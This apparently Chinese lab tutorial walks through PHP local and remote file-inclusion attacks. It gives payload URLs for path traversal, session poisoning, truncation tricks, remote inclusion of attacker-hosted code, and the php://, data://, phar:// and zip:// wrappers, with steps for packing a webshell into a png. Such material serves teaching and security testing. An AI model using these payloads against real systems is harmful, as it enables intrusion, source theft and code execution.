文件包含漏洞实例操作

文件包含漏洞实例操作

  • 参考文章
  • 本地文件包含漏洞
    • 无限制本地文件包含漏洞
    • session文件包含漏洞
    • 有限制本地文件包含漏洞
      • %00截断
      • 路径长度截断
      • 点号截断
  • 远程文件包含漏洞
    • 无限制远程文件包含漏洞
    • 有限制远程文件包含漏洞绕过
      • 问号绕过
      • #号绕过
      • 空格绕过
  • PHP伪协议
    • php://输入输出流
    • php://filter(本地磁盘文件进行读取)
    • php://input
    • php://input(写入木马)
    • file://伪协议(读取文件内容)
    • data://伪协议
      • data://(读取文件)
    • phar://伪协议
    • zip://伪协议

参考文章

文件包含漏洞

本地文件包含漏洞

无限制本地文件包含漏洞

测试代码:
在这里插入图片描述
访问:
1.http://localhost/0x01.php?filename=D:/phpstudy/test.php(访问绝对路径,也可以访问其它盘)
文件包含漏洞实例操作_第1张图片
2.http://localhost/0x01.php?filename=…/…/…/…/…/…/…/phpstudy/test.php(只访问当前盘)
文件包含漏洞实例操作_第2张图片
文件包含漏洞实例操作_第3张图片

session文件包含漏洞

利用条件:
session的存储位置可以获取
1.通过phpinfo的信息获取到session的存储位置
文件包含漏洞实例操作_第4张图片
2.通过猜测默认的session存放位置进行尝试
如:在/var/lib/php/session目录下
3.测试代码
文件包含漏洞实例操作_第5张图片
访问如下网址
http://localhost/2.php?ctfs=ctfs
会生成
文件包含漏洞实例操作_第6张图片
对应的session文件名为:
在这里插入图片描述
文件内容为:
在这里插入图片描述
漏洞利用:通过ctfs写入恶意代码,例如访问如下网址:
http://localhost/2.php?ctfs=
文件包含漏洞实例操作_第7张图片
然后通过文件包含漏洞利用:
http://localhost/0x01.php?filename=D:/phpstudy/PhpStudy20180211/PHPTutorial/tmp/tmp/sess_bt2o5lqsc5fg6nsg20f991nh45
文件包含漏洞实例操作_第8张图片

有限制本地文件包含漏洞

测试代码:

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

路径长度截断

Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
文件包含漏洞实例操作_第9张图片

点号截断

条件:windows OS,点号需要长于256
在这里插入图片描述

远程文件包含漏洞

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

无限制远程文件包含漏洞

测试代码:
在这里插入图片描述
访问网址:
http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt
文件包含漏洞实例操作_第10张图片

有限制远程文件包含漏洞绕过

测试代码
文件包含漏洞实例操作_第11张图片
文件包含漏洞实例操作_第12张图片

问号绕过

http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt?
文件包含漏洞实例操作_第13张图片

#号绕过

http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt%23
文件包含漏洞实例操作_第14张图片

空格绕过

http://localhost/0x01.php?filename=http://192.168.253.131:8080/php.txt%20
文件包含漏洞实例操作_第15张图片

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
文件包含漏洞实例操作_第16张图片

php://输入输出流

PHP提供了一些杂项输入/输出(IO)流,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://filter(本地磁盘文件进行读取)

元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource/xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php(两者一样)
条件:只是读取,只用开启allow_url_fopen,不需要开启allow_url_include
测试代码:
文件包含漏洞实例操作_第17张图片
访问网址:
http://localhost/0x01.php?filename=php://filter/read=convert.base64-encode/resource=test.php
文件包含漏洞实例操作_第18张图片
base64解码:
文件包含漏洞实例操作_第19张图片

php://input

可以访问请求的原始数据的只读流,即可直接读取到POST上没有经过解析的原始数据。enctype="multipart/form-data"的时候php://input是无效的。
用法:?file=php://input 数据利用POST传过去
php://input (读取POST数据)
碰到file_get_contents()就要想到用php://input绕过
测试代码:
文件包含漏洞实例操作_第20张图片
文件包含漏洞实例操作_第21张图片

php://input(写入木马)

测试代码:
文件包含漏洞实例操作_第22张图片
条件:php配置文件中需要同时开启allow_url_fopen和allow_url_include,就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
文件包含漏洞实例操作_第23张图片

file://伪协议(读取文件内容)

通过file协议乐意访问本地文件系统,读取文件内容
测试代码:
文件包含漏洞实例操作_第24张图片
访问如下网址:
http://localhost/2.php?filename=file://c:/test.php
文件包含漏洞实例操作_第25张图片

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的Include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(读取文件)

和php伪协议的Input类似,碰到file_get_contents()来用;
测试代码:
文件包含漏洞实例操作_第26张图片
访问如下网址:
http://localhost/2.php?filename=data://text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==
文件包含漏洞实例操作_第27张图片

phar://伪协议

这个参数就是php解压缩包的一个函数,不管是什么后缀,都会当做压缩包来解压
用法:
?file=phar://压缩包/内部文件
phar://xxx.png/shell.php
注意:PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
测试代码:
文件包含漏洞实例操作_第28张图片
在这里插入图片描述
访问如下网址:
http://localhost/2.php?filename=phar://test.png/test.php
文件包含漏洞实例操作_第29张图片

zip://伪协议

zip协议和phar协议类似,但是用法不一样
用法:?file=zip://[压缩文件绝对路径]%23[文件内的子文件名]
zip://xxx.png#shell.php
条件:PHP > =5.3.0,注意在windows下测试要5.3.0 访问如下网址:
http://localhost/2.php?filename=zip://test.png%23test.php
文件包含漏洞实例操作_第30张图片

你可能感兴趣的:(文件包含漏洞实例操作)